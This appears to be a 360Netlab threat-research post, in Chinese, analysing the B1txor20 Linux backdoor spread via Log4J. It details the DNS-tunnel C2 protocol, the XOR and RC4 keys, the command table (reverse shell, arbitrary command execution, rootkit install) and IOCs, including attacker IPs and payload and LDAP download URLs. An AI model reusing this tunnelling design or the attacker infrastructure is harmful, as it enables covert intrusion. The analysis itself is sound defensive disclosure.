6b42a9f10db8b11a15006abced212fa4
6c05637c29b347c28d05b937e670c81e
7ef9d37e18b48de4b26e5d188a383ec8
7f4e74e15fafaf3f8b79254558019d7f
989dd7aa17244da78309d441d265613a
dd4b6e2750f86f2630e3aea418d294c0
e82135951c3d485b7133b9673194a79e
fd84b2f06f90940cb920e20ad4a30a63
</code></pre>
<!--kg-card-end: markdown--> | 背景
自从Log4J漏洞被曝光后，正所谓"忽如一夜漏洞来，大黑小灰笑开怀”。无数黑产团伙摩拳擦掌加入了这个“狂欢派对”，其中既有许多业界非常熟悉的恶意软件家族，同时也有一些新兴势力想趁着这股东风在黑灰产上分一杯羹。360Netlab作为专注于蜜罐和Botnet检测跟踪的团队，我们自该漏洞被公开后就一直关注它会被哪些僵尸网络利用，期间我们看到了Elknot，Gafgyt，Mirai等老朋友的从不缺席，也见证了一些新朋友的粉墨登场。
2022年2月9日，360Netlab的蜜罐系统捕获了一个未知的ELF文件通过Log4J漏洞传播，此文件在运行时产生的网络流量引发了疑似DNS Tunnel的告警，这引起了我们的兴趣。经过分析，我们确定是一个全新的僵尸网络家族，基于其传播时使用的文件名"b1t"，XOR加密算法，以及RC4算法秘钥长度为20字节，它被我们命名为B1txor20。
简单来说，B1txor20是一个针对Linux平台的后门木马， 它利用DNS Tunnel技术构建C2通信信道，除了传统的后门功能，B1txor20还有开启Socket5代理，远程下载安装Rootkit，反弹Shell等功能，这些功能可以很方便的将被侵入的设备变成跳板，供后续渗透时使用。
另外一个有意思的点是我们发现许多开发好了的功能并没有投入使用（在IDA中表现为，没有交叉引用)；有些功能存在BUG。我们推测B1txor20的作者会持续完善，并根据的不同场景，定制式地开启不同的功能，或许以后我们将遇到B1txor20的兄弟姐妹。
鉴于B1txor20所使用漏洞的高危性，以及其C2信道的隐蔽性，我们决定撰写本文向社区分享我们的发现，共同维护网络安全。
B1txor20概览
我们一共捕获了4个不同MD5的B1txor20样本文件，它们的功能几乎一样，一共支持15个功能号，根据这些功能，可以将B1txor20定性为：一个使用DNS Tunnel技术构建隐蔽的C2信道，支持直连和中继2种方式，同时使用zlib压缩，RC4加密，BASE64编码的方式保护流量的后门木马，目前通过Log4j漏洞传播，主要针对ARM,X64 CPU架构的Linux平台。
目前支持的主要功能如下所示：
1. SHELL
2. Proxy
3. 执行任意命令
4. 安装Rootkit
5. 上传敏感信息
它的基本流程图如下所示：
逆向分析
本文选择2022年2月09日的样本为主要分析对象，它的基本信息如下所示：
MD5:0a0c43726fd256ad827f4108bdf5e772
ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped
Packer:None
B1txor20的样本是动态链接的，因此在逆向上比较容易，简单来说，当B1txor20在被侵入设备动行后，首先会将自身伪装成[netns]进程，通过/var/run/.netns.pid这个PID文件实现单一实例，然后使用/etc/machine-id，/tmp/.138171241或/dev/urandom3者中任意一个，生成BotID，接着解密用于DNS Tunnel的域名，以及用于加密流量的RC4秘钥并测试DNS服务器的连通性，最后使用DNS Tunnel技术向C2发送上线信息，等待执行C2下发的指令。其中进程伪装，单一实例这些功能比较简单，就再不细述，下文将围绕DNS Tunnel剖析B1txor20的实现。
生成Bot ID
B1txor20通过以下代码片段从etc/machine-id，或/tmp/.138171241，读取32字节用于生成BotId，如果失败，则通过/dev/urandom生成16字节数据，并将它写入到前面2个文件。
下面的代码片段是BotId的计算过程：
以我们虚拟机的machine-id值ab3b49d10ec42c38b1093b8ce9ad12af为例，通过下面等效的python代码，可以算出BotId的值为0x125d。
import struct
id='ab3b49d10ec42c38b1093b8ce9ad12af'
values=struct.unpack("<16H",id)
sum=0
for i in values:
sum ^= i
print hex(sum)
if sum&0xff <0xf:
sum+=0x10
if sum>>8 < 0xf:
sum+=0x1000
print hex(sum) # sum=0x125d
解密
B1txor20通过以下代码片段解密存储在样本中的域名和RC4秘钥，
它的原理非常简单，就是单字节xor操作，其中xor_key为49 D3 4F A7 A2 BC 4D FA 40 CF A6 32 31 E9 59 A1
通过下图的CyberChef实现等效的解密过程，可知域名为.dns.webserv.systems，RC4秘钥为EnLgLKHhy20f8A1dX85l。
测出DNS服务器的连通性
B1txor20通过以下代码片段测试3个DNS （8.8.8.8:53，8.8.8.4:53，194.165.16.24:443）服务器的连通性。
它的原理是使用res_mkqueryAPI构建“google.com”的DNS请求报文，然后通过res_send发送请求，只要能够发送成功，就认为和相应DNS服务器的网络是连通，把它们保存起来供后续使用。
实际中Bot与194.165.16.24产生的流量如下所示：
C&C通信
当上述的准备工作完成后，B1txor20进入最终阶段，使用DNS Tunnel技术和C2建立通信，等待执行C2下发的指令。
一般来说恶意软件使用DNS Tunnel的场景是这样的：Bot把窃取的敏感信息，命令的执行结果等等任何需要传递的信息，在使用特定的编码技术隐藏之后，以DNS请求的方式，将它发送到C2；C2到接收到请求之后，把payload做为DNS请求的响应，将它发送到Bot端。这样一来，Bot与C2就在DNS协议的帮助之下实现了通信。在这样的网络结构中，有3个关键的点值得注意
1. C2必须支持DNS协议
2. 特定的编码技术
3. DNS请求的发送方式
下文将围绕这些点，结合B1txor20在实际中产生的流量，分析B1txor20的通信技术细节。
0x01:定位C2
通过上图的流量，可以看出B1txor20使用的SLD是webserv.systems，使用DIG命令可知此SLD绑定的IP为194.165.16.24；而194这个IP上又开启了DNS解析服务，因此我们可以确定B1txor20的C2正是194.165.16.24。
0x02:生成Tunnel域名
B1txor20的Tunnel域名格式为Base64-Like String+.dns.websrv.systems 很明显前面
类似Base64的字串就是Bot发往C2的信息，它是如何生成的呢？
首先，B1txor20数据包的有一个前置构造过程，可以看出其格式为0xFF + BotId + 0xFF + Stage + 0xFF + Other Info，0xFF用于分隔不同的项，当成完构造后，再根据不同的Stage值，进入不同的任务，填充Other Info部分。
以上线这个任务为例，Stage值为1，通过gather_info函数，将"sysinfo_uptime,uid,hostname"这些信息填充到Other Info中，它们使用0x0a分隔。
当所需的信息都已准备好之后，B1txor20接着使用process_query函数对上面的信息进一步处理，它包括ZLIB压缩，RC4加密，Base64编码3个过程。
其中RC4加密所使用的秘钥就是前文解密章节所说的字串“EnLgLKHhy20f8A1dX85l”，Base64使用的Alphabet String为ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789^_。
最后B1txor20在上面生成的Base64字串前加入1字节表示status，4字节随机字串，再和domain进行拼接，就么得了最终要查询的域名。其中status的取值为['0', '1', '2']，0表示当前的查询被截断了，后续的查询和当前应该拼成同一个；1表示当成查询是完整的。
以实际产生的一个查询1HQoOKPvBKs8yqO1tTUQkCqGWN9anB4RAGWhnJy8A.dns.webserv.systems为例，去除前5字节，以及.dns.webserv.systems部分，得到KPvBKs8yqO1tTUQkCqGWN9anB4RAGWhnJy8A，然后使用Base64解码，RC4解密，ZLIB解压，就能得到了以下原始数据。
从数据内容和格式来看，它和我们前文的描述能一一对应，说明我们前面的分析是正确的。
Botid =0x125d
Stage=1
sysinfo.uptime = 34
uid=30
hostname=debian
0x3:发送DNS请求
当上述域名构造完成后，B1txor20使用RES系列API生成并发送DNS请求。
根据前文测试DNS连通情况的不同，发送DNS请求的方式有3种。
1. 向public dns(8.8.8.8，8.8.4.4)发送
2. 直接向C2(194.165.16.24)发送
3. 向local dns(nameserver in /etc/resolv.conf)发送
其中2这种方式，它的速度较快，但蔽性弱，很容易被探测追踪；1,3这种俩种方式隐蔽性强，但速度稍慢。
0x4:处理C2指令
当Bot通过上述方式发送DNS请求后，就等待执行C2下发的指令。C2的指令存放在DNS请求的响应报文中，它的格式为Status(1 byte):Body，其中Body部分也使用了“ZLIB压缩，RC4加密，BASE64编码”这种保护方法。
以下图实际收到的指令“1VSE6NZwczNMm2zgaXeLkZro= ”为例，
Body部分为"VSE6NZwczNMm2zgaXeLkZro="，它经过Base64解码，RC4解密后，就能得到了以下格式的数据，再将红色部分解压，就得到了最终的指令FF 02 FF 0A FF，可以看出它的格式和上文查询产生的格式是一致的，此时可知Bot将去执行0x02号功能，至此Bot与C2的一轮交互就完成了。
C&C指令
B1txor20一共支持15条指令，指令号与功能的对应关系如下表所示：
Cmd ID
Function
0x1
Beacon/Heartbeat
0x2
Upload system info
0x3
Create "/dev/pamd" (unix domain socket) which can get a shell
0x4
Exec arbitrary system cmd via popen
0x5
Traffic forwarding
0x6
Write File
0x7
Read File
0x8
Deliver info via "/var/tmp/.unetns"(unix domain socket)，Not used
0x9
Upload specific info，Not used
0x10
Stop proxy service
0x11
Start proxy service
0x1a
Create proxy service
0x21
Reverse shell
0x50
Upload "/boot/conf- XXX" info，Not used
0x51
install M3T4M0RPH1N3.ko rootkit
表中"Not used"表示这个功能，在样本中有应的处理代码，但没有被调用，我们不确定这些代码是用于调试的，或是在别的样本中使用。
另外有意思的一点是，我们发现有些功能在实现上是有Bug的，如0x3，它在bind 域套接字后，使用remove函数删除了套接字文件，这会让此套接字无法被connect，进而整个功能失效。
花絮
域名一买就是6年，这是想要大干一票？
webserv.systems createddate 2021-02-08 15:13:22
webserv.systems updateddate 2021-02-24 22:27:23
webserv.systems expiresdate 2027-02-08 15:13:22
联系我们
感兴趣的读者，可以在twitter或者在微信公众号 360Netlab上联系我们。
IOC
C2
webserv.systems
194.165.16.24:53
194.165.16.24:443
Scanner
104.244.73.126 Luxembourg|Luxembourg|Unknown 53667|FranTech_Solutions
109.201.133.100 Netherlands|North_Holland|Amsterdam 43350|NForce_Entertainment_B.V.
162.247.74.27 United_States|New_York|New_York_City 4224|The_Calyx_Institute
166.78.48.7 United_States|Texas|Dallas 33070|Rackspace_Hosting
171.25.193.78 Sweden|Stockholm_County|Stockholm 198093|Foreningen_for_digitala_fri-_och_rattigheter
185.100.87.202 Romania|Bucharest|Unknown 200651|Flokinet_Ltd
185.129.62.62 Denmark|Region_Hovedstaden|Copenhagen 57860|Zencurity_ApS
185.220.100.240 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.241 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.242 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.243 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.246 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.249 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.250 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.252 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.254 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.100.255 Germany|Bavaria|Nuremberg 205100|F3_Netze_e.V.
185.220.101.134 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.136 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.140 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.143 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.144 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.151 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.155 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.161 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.162 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.164 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.166 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.168 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.172 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.174 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.176 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.181 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.191 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.34 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.37 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.39 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.40 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.42 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.43 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.46 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.5 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.50 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.51 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.53 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.54 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.56 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.57 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.220.101.61 Netherlands|North_Holland|Amsterdam 200052|Feral.io_Ltd
185.56.80.65 Netherlands|South_Holland|Capelle_aan_den_IJssel 43350|NForce_Entertainment_B.V.
193.218.118.158 Ukraine|Kiev|Unknown None;
194.32.107.159 Romania|Romania|Unknown None;
194.32.107.187 Romania|Romania|Unknown None;
194.88.143.66 Italy|Lombardy|Metropolitan_City_of_Milan 49367|Seflow_S.N.C._Di_Marco_Brame'_&_C.
199.195.250.77 United_States|New_York|New_York_City 53667|FranTech_Solutions
23.129.64.216 United_States|Washington|Seattle 396507|Emerald_Onion
23.154.177.4 North_America_Regions|North_America_Regions|Unknown None;
45.13.104.179 France|Ile-de-France|Paris 57199|MilkyWan
45.154.255.147 Sweden|Stockholm_County|Stockholm 41281|KeFF_Networks_Ltd
45.61.185.90 United_States|United_States|Unknown 8100|QuadraNet_Enterprises_LLC
46.166.139.111 Netherlands|South_Holland|Capelle_aan_den_IJssel 43350|NForce_Entertainment_B.V.
5.2.69.50 Netherlands|Flevoland|Dronten 60404|Liteserver_Holding_B.V.
51.15.43.205 Netherlands|North_Holland|Haarlem 12876|Online_S.a.s.
62.102.148.68 Sweden|Stockholm_County|Akersberga 51815|IP-Only_Networks_AB
62.102.148.69 Sweden|Stockholm_County|Akersberga 51815|IP-Only_Networks_AB
81.17.18.62 Switzerland|Canton_of_Ticino|Unknown 51852|Private_Layer_INC
Downloader
hxxp://179.60.150.23:8000/xExportObject.class
ldap://179.60.150.23:1389/o=tomcat
hxxp://194.165.16.24:8229/b1t_1t.sh
hxxp://194.165.16.24:8228/b1t
hxxp://194.165.16.24:8228/b1t
hxxp://194.165.16.24:8228/_run.sh
hxxp://194.165.16.24:8228/run.sh
hxxp://194.165.16.24:8228/share.sh
hxxp://194.165.16.24:8228/b1t
hxxp://194.165.16.24:8228/run.sh
hxxp://194.165.16.24:8228/run.sh
hxxp://194.165.16.24:8229/b4d4b1t.elf
Sample MD5
027d74534a32ba27f225fff6ee7a755f
0a0c43726fd256ad827f4108bdf5e772
24c49e4c75c6662365e10bbaeaeecb04
2e5724e968f91faaf156c48ec879bb40
3192e913ed0138b2de32c5e95146a24a
40024288c0d230c0b8ad86075bd7c678
43fcb5f22a53a88e726ebef46095cd6b
59690bd935184f2ce4b7de0a60e23f57
5f77c32c37ae7d25e927d91eb3b61c87
6b42a9f10db8b11a15006abced212fa4
6c05637c29b347c28d05b937e670c81e
7ef9d37e18b48de4b26e5d188a383ec8
7f4e74e15fafaf3f8b79254558019d7f
989dd7aa17244da78309d441d265613a
dd4b6e2750f86f2630e3aea418d294c0
e82135951c3d485b7133b9673194a79e
fd84b2f06f90940cb920e20ad4a30a63
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 背景\n\n自从Log4J漏洞被曝光后，正所谓\"忽如一夜漏洞来，大黑小灰笑开怀”。无数黑产团伙摩拳擦掌加入了这个“狂欢派对”，其中既有许多业界非常熟悉的恶意软件家族，同时也有一些新兴势力想趁着这股东风在黑灰产上分一杯羹。360Netlab作为专注于蜜罐和Botnet检测跟踪的团队，我们自该漏洞被公开后就一直关注它会被哪些僵尸网络利用，期间我们看到了Elknot，Gafgyt，Mirai等老朋友的从不缺席，也见证了一些新朋友的粉墨登场。\n\n2022年2月9日，360Netlab的蜜罐系统捕获了一个未知的ELF文件通过Log4J漏洞传播，此文件在运行时产生的网络流量引发了**疑似DNS Tunnel**的告警，这引起了我们的兴趣。经过分析，我们确定是一个全新的僵尸网络家族，基于其传播时使用的文件名\"b1t\"，XOR加密算法，以及RC4算法秘钥长度为20字节，它被我们命名为**B1txor20**。\n\n简单来说，B1txor20是一个针对Linux平台的后门木马， 它利用DNS Tunnel技术构建C2通信信道，除了传统的后门功能，B1txor20还有开启Socket5代理，远程下载安装Rootkit，反弹Shell等功能，这些功能可以很方便的将被侵入的设备变成跳板，供后续渗透时使用。\n\n另外一个有意思的点是我们发现许多开发好了的功能并没有投入使用（在IDA中表现为，没有交叉引用)；有些功能存在BUG。我们推测B1txor20的作者会持续完善，并根据的不同场景，定制式地开启不同的功能，或许以后我们将遇到B1txor20的兄弟姐妹。\n\n鉴于B1txor20所使用漏洞的高危性，以及其C2信道的隐蔽性，我们决定撰写本文向社区分享我们的发现，共同维护网络安全。\n## B1txor20概览\n\n我们一共捕获了4个不同MD5的B1txor20样本文件，它们的功能几乎一样，一共支持15个功能号，根据这些功能，可以将B1txor20定性为：一个使用DNS Tunnel技术构建隐蔽的C2信道，支持直连和中继2种方式，同时使用zlib压缩，RC4加密，BASE64编码的方式保护流量的后门木马，目前通过Log4j漏洞传播，主要针对ARM,X64 CPU架构的Linux平台。\n\n目前支持的主要功能如下所示：\n1. SHELL\n2. Proxy\n3. 执行任意命令\n4. 安装Rootkit\n5. 上传敏感信息\n\n\n\n它的基本流程图如下所示：\n\n\n\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_net.png\" width=\"860px\" />\n\n\n## 逆向分析\n\n本文选择2022年2月09日的样本为主要分析对象，它的基本信息如下所示：\n\n```\nMD5:0a0c43726fd256ad827f4108bdf5e772\n\nELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, stripped\n\nPacker:None\n```\n\nB1txor20的样本是动态链接的，因此在逆向上比较容易，简单来说，当B1txor20在被侵入设备动行后，首先会将自身伪装成[netns]进程，通过``/var/run/.netns.pid``这个PID文件实现单一实例，然后使用```/etc/machine-id```，```/tmp/.138171241```或```/dev/urandom```3者中任意一个，生成BotID，接着解密用于DNS Tunnel的域名，以及用于加密流量的RC4秘钥并测试DNS服务器的连通性，最后使用DNS Tunnel技术向C2发送上线信息，等待执行C2下发的指令。其中进程伪装，单一实例这些功能比较简单，就再不细述，下文将围绕DNS Tunnel剖析B1txor20的实现。\n\n## 生成Bot ID\n\nB1txor20通过以下代码片段从```etc/machine-id```，或```/tmp/.138171241```，读取32字节用于生成BotId，如果失败，则通过```/dev/urandom```生成16字节数据，并将它写入到前面2个文件。\n\n\n\n\n下面的代码片段是BotId的计算过程：\n\n\n\n以我们虚拟机的machine-id值```ab3b49d10ec42c38b1093b8ce9ad12af```为例，通过下面等效的python代码，可以算出BotId的值为**0x125d**。\n\n```python\nimport struct\nid='ab3b49d10ec42c38b1093b8ce9ad12af'\nvalues=struct.unpack(\"<16H\",id)\nsum=0\nfor i in values:\n sum ^= i\nprint hex(sum)\nif sum&0xff <0xf:\n sum+=0x10\nif sum>>8 < 0xf:\n sum+=0x1000\nprint hex(sum) # sum=0x125d\n\n```\n\n## 解密 \n\nB1txor20通过以下代码片段解密存储在样本中的域名和RC4秘钥，\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_dec.png\" width=\"860px\" />\n它的原理非常简单，就是单字节xor操作，其中```xor_key```为```49 D3 4F A7 A2 BC 4D FA 40 CF A6 32 31 E9 59 A1```\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_xor.png\" width=\"860px\" />\n\n通过下图的CyberChef实现等效的解密过程，可知域名为```.dns.webserv.systems```，RC4秘钥为```EnLgLKHhy20f8A1dX85l```。\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_chef_xor.png\" width=\"860px\" />\n\n## 测出DNS服务器的连通性\n\nB1txor20通过以下代码片段测试3个DNS （8.8.8.8:53，8.8.8.4:53，194.165.16.24:443）服务器的连通性。\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_dns.png\" width=\"860px\" />\n它的原理是使用``res_mkquery``API构建“google.com”的DNS请求报文，然后通过``res_send``发送请求，只要能够发送成功，就认为和相应DNS服务器的网络是连通，把它们保存起来供后续使用。\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_test.png\" width=\"860px\" />\n\n实际中Bot与194.165.16.24产生的流量如下所示：\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_show.png\" width=\"860px\" />\n\n\n\n\n\n\n\n\n\n## C&C通信\n\n当上述的准备工作完成后，B1txor20进入最终阶段，使用DNS Tunnel技术和C2建立通信，等待执行C2下发的指令。\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_final.png\" width=\"860px\" />\n\n一般来说恶意软件使用DNS Tunnel的场景是这样的：``Bot把窃取的敏感信息，命令的执行结果等等任何需要传递的信息``，在使用**特定的编码技术**隐藏之后，**以DNS请求的方式**，将它发送到C2；C2到接收到请求之后，把payload做为DNS请求的响应，将它发送到Bot端。这样一来，Bot与C2就在DNS协议的帮助之下实现了通信。在这样的网络结构中，有3个关键的点值得注意\n\n1. C2必须支持DNS协议\n2. 特定的编码技术\n3. DNS请求的发送方式\n\n下文将围绕这些点，结合B1txor20在实际中产生的流量，分析B1txor20的通信技术细节。\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_packet.png\" width=\"860px\" />\n\n## 0x01:定位C2\n通过上图的流量，可以看出B1txor20使用的SLD是webserv.systems，使用DIG命令可知此SLD绑定的IP为194.165.16.24；而194这个IP上又开启了DNS解析服务，因此我们可以确定B1txor20的C2正是194.165.16.24。\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_dnstxt.png\" width=\"860px\" />\n\n## 0x02:生成Tunnel域名\nB1txor20的Tunnel域名格式为```Base64-Like String```+```.dns.websrv.systems``` 很明显前面\n类似Base64的字串就是Bot发往C2的信息，它是如何生成的呢？\n首先，B1txor20数据包的有一个前置构造过程，可以看出其格式为```0xFF + BotId + 0xFF + Stage + 0xFF + Other Info```，**0xFF**用于分隔不同的项，当成完构造后，再根据不同的Stage值，进入不同的任务，填充```Other Info```部分。\n\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_pre.png\" width=\"860px\" />\n\n\n以上线这个任务为例，Stage值为1，通过```gather_info```函数，将\"sysinfo_uptime,uid,hostname\"这些信息填充到```Other Info```中，它们使用**0x0a**分隔。\n\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_reg.png\" width=\"860px\" />\n\n\n当所需的信息都已准备好之后，B1txor20接着使用```process_query```函数对上面的信息进一步处理，它包括**ZLIB压缩，RC4加密，Base64编码**3个过程。\n\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_process.png\" width=\"860px\" />\n\n\n其中RC4加密所使用的秘钥就是前文解密章节所说的字串“EnLgLKHhy20f8A1dX85l”，Base64使用的Alphabet String为```ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789^_```。\n\n最后B1txor20在上面生成的Base64字串前加入1字节表示status，4字节随机字串，再和domain进行拼接，就么得了最终要查询的域名。其中status的取值为['0', '1', '2']，0表示当前的查询被截断了，后续的查询和当前应该拼成同一个；1表示当成查询是完整的。\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_tun.png\" width=\"860px\" />\n以实际产生的一个查询``1HQoOKPvBKs8yqO1tTUQkCqGWN9anB4RAGWhnJy8A.dns.webserv.systems``为例，去除前5字节，以及.dns.webserv.systems部分，得到``KPvBKs8yqO1tTUQkCqGWN9anB4RAGWhnJy8A``，然后使用Base64解码，RC4解密，ZLIB解压，就能得到了以下原始数据。\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_origin.png\" width=\"860px\" />\n\n\n从数据内容和格式来看，它和我们前文的描述能一一对应，说明我们前面的分析是正确的。\n\n```\nBotid =0x125d\nStage=1\nsysinfo.uptime = 34\nuid=30\nhostname=debian\n```\n\n\n\n\n## 0x3:发送DNS请求\n当上述域名构造完成后，B1txor20使用``RES``系列API生成并发送DNS请求。\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_senddns.png\" width=\"860px\" />\n\n根据前文测试DNS连通情况的不同，发送DNS请求的方式有3种。\n\n1. 向public dns(8.8.8.8，8.8.4.4)发送\n2. 直接向C2(194.165.16.24)发送\n3. 向local dns(nameserver in /etc/resolv.conf)发送\n\n\n其中2这种方式，它的速度较快，但蔽性弱，很容易被探测追踪；1,3这种俩种方式隐蔽性强，但速度稍慢。\n\n## 0x4:处理C2指令\n当Bot通过上述方式发送DNS请求后，就等待执行C2下发的指令。C2的指令存放在DNS请求的响应报文中，它的格式为```Status(1 byte):Body```，其中Body部分也使用了“ZLIB压缩，RC4加密，BASE64编码”这种保护方法。\n\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_recv.png\" width=\"860px\" />\n\n\n\n以下图实际收到的指令“1VSE6NZwczNMm2zgaXeLkZro= ”为例，\n\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_cmd.png\" width=\"860px\" />\n\n\nBody部分为\"VSE6NZwczNMm2zgaXeLkZro=\"，它经过Base64解码，RC4解密后，就能得到了以下格式的数据，再将红色部分解压，就得到了最终的指令```FF 02 FF 0A FF```，可以看出它的格式和上文查询产生的格式是一致的，此时可知Bot将去执行0x02号功能，至此Bot与C2的一轮交互就完成了。\n\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_after.png\" width=\"860px\" />\n\n## C&C指令\n\nB1txor20一共支持15条指令，指令号与功能的对应关系如下表所示：\n\n| Cmd ID | Function |\n| ------ | ------------------------------------------------------------ |\n| 0x1 | Beacon/Heartbeat |\n| 0x2 | Upload system info |\n| 0x3 | Create \"/dev/pamd\" (unix domain socket) which can get a shell |\n| 0x4 | Exec arbitrary system cmd via popen |\n| 0x5 | Traffic forwarding |\n| 0x6 | Write File |\n| 0x7 | Read File |\n| 0x8 | Deliver info via \"/var/tmp/.unetns\"(unix domain socket)，Not used |\n| 0x9 | Upload specific info，Not used |\n| 0x10 | Stop proxy service |\n| 0x11 | Start proxy service |\n| 0x1a | Create proxy service |\n| 0x21 | Reverse shell |\n| 0x50 | Upload \"/boot/conf- XXX\" info，Not used |\n| 0x51 | install M3T4M0RPH1N3.ko rootkit |\n\n表中\"Not used\"表示这个功能，在样本中有应的处理代码，但没有被调用，我们不确定这些代码是用于调试的，或是在别的样本中使用。\n另外有意思的一点是，我们发现有些功能在实现上是有Bug的，如0x3，它在bind 域套接字后，使用remove函数删除了套接字文件，这会让此套接字无法被connect，进而整个功能失效。\n<img src=\"__GHOST_URL__/content/images/2022/03/b1t_bug.png\" width=\"860px\" />\n\n\n\n\n## 花絮\n\n域名一买就是6年，这是想要大干一票？\n```\nwebserv.systems\tcreateddate 2021-02-08 15:13:22\nwebserv.systems\tupdateddate 2021-02-24 22:27:23\nwebserv.systems\texpiresdate 2027-02-08 15:13:22\n```\n\n\n## 联系我们\n感兴趣的读者，可以在[twitter](https://twitter.com/360Netlab)或者在微信公众号 360Netlab上联系我们。\n\n## IOC\n### C2\n```\nwebserv.systems\n194.165.16.24:53\n194.165.16.24:443\n```\n### Scanner\n```\n104.244.73.126\tLuxembourg|Luxembourg|Unknown\t53667|FranTech_Solutions\n109.201.133.100\tNetherlands|North_Holland|Amsterdam\t43350|NForce_Entertainment_B.V.\n162.247.74.27\tUnited_States|New_York|New_York_City\t4224|The_Calyx_Institute\n166.78.48.7\tUnited_States|Texas|Dallas\t33070|Rackspace_Hosting\n171.25.193.78\tSweden|Stockholm_County|Stockholm\t198093|Foreningen_for_digitala_fri-_och_rattigheter\n185.100.87.202\tRomania|Bucharest|Unknown\t200651|Flokinet_Ltd\n185.129.62.62\tDenmark|Region_Hovedstaden|Copenhagen\t57860|Zencurity_ApS\n185.220.100.240\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.241\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.242\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.243\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.246\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.249\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.250\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.252\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.254\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.100.255\tGermany|Bavaria|Nuremberg\t205100|F3_Netze_e.V.\n185.220.101.134\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.136\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.140\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.143\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.144\tNetherlands|North_Holland|Amsterdam\t200052|Feral.io_Ltd\n185.220.101.151\tNetherlands|North_Holland|Amsterd